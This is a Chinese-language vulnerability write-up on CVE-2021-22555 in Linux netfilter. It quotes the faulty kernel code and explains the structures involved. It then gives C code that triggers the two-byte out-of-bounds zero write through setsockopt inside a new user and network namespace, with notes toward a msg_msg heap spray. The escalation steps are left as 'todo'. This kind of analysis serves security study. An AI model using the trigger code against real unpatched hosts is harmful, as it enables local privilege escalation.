1. 前提条件
具备一个普通用户,有CAP_NET_ADMIN权限,通常情况下,user+network namespace就有这个权限。
namespace的链接:
https://wsxk.github.io/sandboxing_namespace/?query=namespace
namespace和capabilities的关联:namespace负责隔离资源视图,capability拆分root权限,两者是紧密关联的
2. 漏洞产生位置
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
// 上层已找到的内核 target 描述对象
const struct xt_target *target = t->u.kernel.target;
// 输入记录:已经拷入内核,但仍采用 32 位兼容布局
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
// off:本机格式与兼容格式的大小差
int pad, off = xt_compat_target_offset(target);
// 输入记录总长度,包含头部、数据和填充
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
t = *dstptr; // t 改为指向输出位置,ct 仍指向输入
memcpy(t, ct, sizeof(*ct)); // 复制头部
// 有专用转换函数就调用,否则直接复制数据部分
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
// targetsize 是本机数据长度;pad 是它末尾的对齐填充长度
pad = XT_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
// 旧实现的问题:这里缺少目标缓冲区边界检查,可能越界清零
memset(t->data + target->targetsize, 0, pad); // 漏洞点漏洞点漏洞点,t->data不一定是8字节对齐的,所以这里有越界问题。
tsize += off; // 得到转换后的记录总长度
t->u.user.target_size = tsize;
// 释放模块引用前保存名称,随后恢复 union 中的用户格式名称字段
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off; // 修正规则表总长度
*dstptr += tsize; // 输出指针前进到下一条记录
}
2.1 漏洞点
其实是发生在 memset(t->data + target->targetsize, 0, pad);这里发生越界清0
3. 漏洞利用
3.1 环境搭建
https://www.anquanke.com/post/id/254027#h2-4
介绍了搭建教程,不想搭建可以直接进行一个抄:
https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2021-22555
(我自己也搭了个环境,但是无法触发漏洞,大概率是因为没有装net相关功能)
3.2 漏洞触发流程分析
netfilter相关介绍参考https://www.anquanke.com/post/id/254027#h2-4的博客,写的挺好的
总结的说,触发漏洞的模块为linux的netfilter,它是集成到linux内核协议栈中的一套防火墙系统,它提供了一系列接口,能够对网络协议栈中的数据包进行拦截、检查、修改和转发。netfilter提供5个hook点:
报文到达linux提供的hook点时,会执行注册的回调函数,而linux提供的默认回调函数里会会针对xt_table表格的优先级来先后处理规则
netfilter里的管理一张规则表的管理结构体叫做xt_table,其定义如下:
| 字段 | 作用 |
|—|—|
| name | 表名,例如 "filter" |
| af | 所属协议族,例如 IPv4、IPv6 |
| valid_hooks | 位掩码,表示该表允许从哪些 Netfilter hook 进入 |
| priority | 在同一个 hook 上的执行优先级,通常数值越小越先执行 |
| private | 指向 xt_table_info,通过它访问实际规则 |
| ops | 指向用于向 Netfilter 注册的 hook 操作 |
| list | 将该表接入内核维护的表链表 |
| me | 所属内核模块,用于模块生命周期管理 |
xt_table里的private指针很重要,里面存放的就是这张表里提供的规则集。(规则集可以提供5个hook点的执行规则)
xt_table 表的管理信息
└─ private → xt_table_info 规则集及其管理信息
├─ size / number 规则数据大小 / 条目数
├─ hook_entry[] 各 hook 对应的规则入口偏移
├─ underflow[] 内置链的默认策略入口偏移
└─ entries[] 实际规则数据
└─ ipt_entry ... IPv4 的变长规则条目
entries[] 存放规则数据,hook_entry[hook] 记录该 hook 的起始规则在 entries[] 中的字节偏移。ipt_entry实际上就是实际的规则条目
计算方式为:
struct ipt_entry *first_rule =
(struct ipt_entry *)(info->entries + info->hook_entry[hook]);
ipt_entry的结构体定义如下:
struct ipt_entry {
/* 基本匹配条件:IP 地址、掩码、网卡、协议等 */
struct ipt_ip ip;
/* 历史缓存标志字段 */
unsigned int nfcache;
/* 从当前规则起点到 target 的字节偏移 */
__u16 target_offset;
/* 当前规则的总长度,也是到下一条规则的字节偏移 */
__u16 next_offset;
/* 内核进行规则链遍历、可达性校验时使用 */
unsigned int comefrom;
/* 包数、字节数的计数相关字段 */
struct xt_counters counters;
/* 变长区域:零个或多个 xt_entry_match,随后是一个 xt_entry_target */
unsigned char elems[];
};
ipt_entry以内还有个关键结构体:
xt_entry_match用来表示一条规则中的一个扩展匹配项,记录“使用哪种匹配器,以及传给它什么参数”。它位于前面提到的ipt_entry.elems[]区域中
其结构体定义如下:
struct xt_entry_match {
union {
struct {
__u16 match_size; // 当前匹配块的总长度,包括头部、参数及对齐空间
/* Used by userspace */
char name[XT_EXTENSION_MAXNAMELEN]; //用户态提交的匹配器名称和版本,例如 "tcp"
__u8 revision;
} user;
struct {
__u16 match_size;
/* Used inside the kernel */
struct xt_match *match; // 内核解析后,指向对应的 struct xt_match
} kernel;
/* Total length */
__u16 match_size;
} u;
unsigned char data[]; //紧跟头部的变长参数,具体格式由匹配器决定
};
xt_entry_target用来描述一条规则匹配成功后执行的动作及其参数,例如接受、丢弃、记录日志、修改标记或跳转到其他链。
struct xt_entry_target {
union {
/* 用户态:通过名称和版本指定 target */
struct {
__u16 target_size;
char name[XT_EXTENSION_MAXNAMELEN];
__u8 revision;
} user;
/* 内核态:关联到已注册的 target 实现 */
struct {
__u16 target_size;
struct xt_target *target;
} kernel;
/* 整个 target 块的长度 */
__u16 target_size;
} u;
/* 紧随头部的变长动作参数 */
unsigned char data[0];
}; // data实际起始偏移为0x20,但是因为各种结构体分布排序,可能导致偏移不一定8字节对齐
而漏洞发生的位置xt_compat_target_from_user,把一个按32位用户态 ABI 布局的 target,转换成内核原生 ABI 布局的 target。这里的 ABI 指结构体大小、字段排列、对齐等约定。它属于规则配置阶段的兼容处理。xt_compat_target_from_user会在调用setsockopt(sockfd, level, optname, optval, optlen);系统调用后执行。下面是个demo
/* 在 64 位内核上,以 32 位程序运行此代码。
* req 的类型为 struct ipt_replace *。
*/
int fd = socket(AF_INET, SOCK_STREAM, 0);
int ret = setsockopt(
fd,
SOL_IP,
IPT_SO_SET_REPLACE,
req,
sizeof(*req) + req->size
);
3.3 漏洞触发调试
漏洞报告是按照漏洞利用逻辑来写的,实际触发需要调试来加深理解。
实际编写代码:
#define PRIMARY_SIZE 0x1000
void trigger_oob_write(int socket_fd){
struct __attribute__((packed)){ //GCC 扩展语法,__packed__与packed 含义相同:让外层成员紧挨着存放,不在它们之间插入自动对齐填充。
struct ipt_replace replace; // 是传统 IPv4 iptables 接口中,用于“替换某张表的全部规则”的请求头。 用户态通过 setsockopt(..., IPT_SO_SET_REPLACE, ...) 把它和后面的新规则一起提交给内核
struct ipt_entry entry; // size: 0x70
struct xt_entry_match match; // size: 0x20
char padding[PRIMARY_SIZE-0xf8-0x2] ; //construct a padding to make the target->data not start with 0 or 8
struct xt_entry_target target; // size: 0x20
}data={0};
// after compat,sizeof(entry+match+target) = 0xb8
// after struct transfer, in kernel the struct is sizeof(xt_table_info(0x40)+0xb8) = 0xf8
// to make sure the struct is in 0x1000,we need to subtract 0xf8, and to make the target->data not start with 0 or 8, we also need to subtract 0x2
data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = sizeof(data.entry) + sizeof(data.match) + sizeof(data.padding) +sizeof(data.target);
data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +sizeof(data.padding) + sizeof(data.target));
data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.padding));
data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.padding));
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;
data.target.u.user.target_size = sizeof(data.target);
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;
// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(socket_fd, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("[-] Error ip_tables module is not loaded.\n");
return -1;
}
}
return 0;
}
int main(){
// step0 initialization
puts("\033[32m\033[1m[+] CVE-2021-22555 Linux Privilege Escalation by wsxk.\033[0m");
// step0.1 set the process run in the same cpu
pin_to_current_cpu();
// step0.2 create new namespace and get net namespace
if(unshare(CLONE_NEWUSER)<0){
fatal("clone newuser failed!");
}
if(unshare(CLONE_NEWNET)<0){
fatal("clone newnet failed!");
}
// step0.3 create sockert_fd to trigger off_by_null
int socket_fd;
socket_fd = socket(AF_INET,SOCK_STREAM,0);
if(socket_fd<0){
fatal("socket failed!");
}
// trigger off_byte_null
puts("[*] Trigger OOB write to construct the overlapping...");
trigger_oob_write(socket_fd);
}
3.x msg_msg实现
还是使用传统的msg_msg结构体。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) { //循环分配segment
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/msg.h
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.h
struct list_head {
struct list_head *next, *prev;
};
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
3.x 构造堆布局,达成uaf原语
3.x todo
总结
十分得牛逼,仅靠一个off-byte-null的原语,即可达成利用步骤,成功提权。
reference
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555
https://seamaner.github.io/2025/04/26/CVE-2021-22555/
https://github.com/seamaner/kernel-cves-replay/tree/main/CVE-2021-22555
https://www.anquanke.com/post/id/251515#h3-7
CVE-2021-22555 2字节堆溢出写0漏洞提权分析-bsauce
【CVE.0x07】CVE-2021-22555 漏洞分析及利用-arttnba3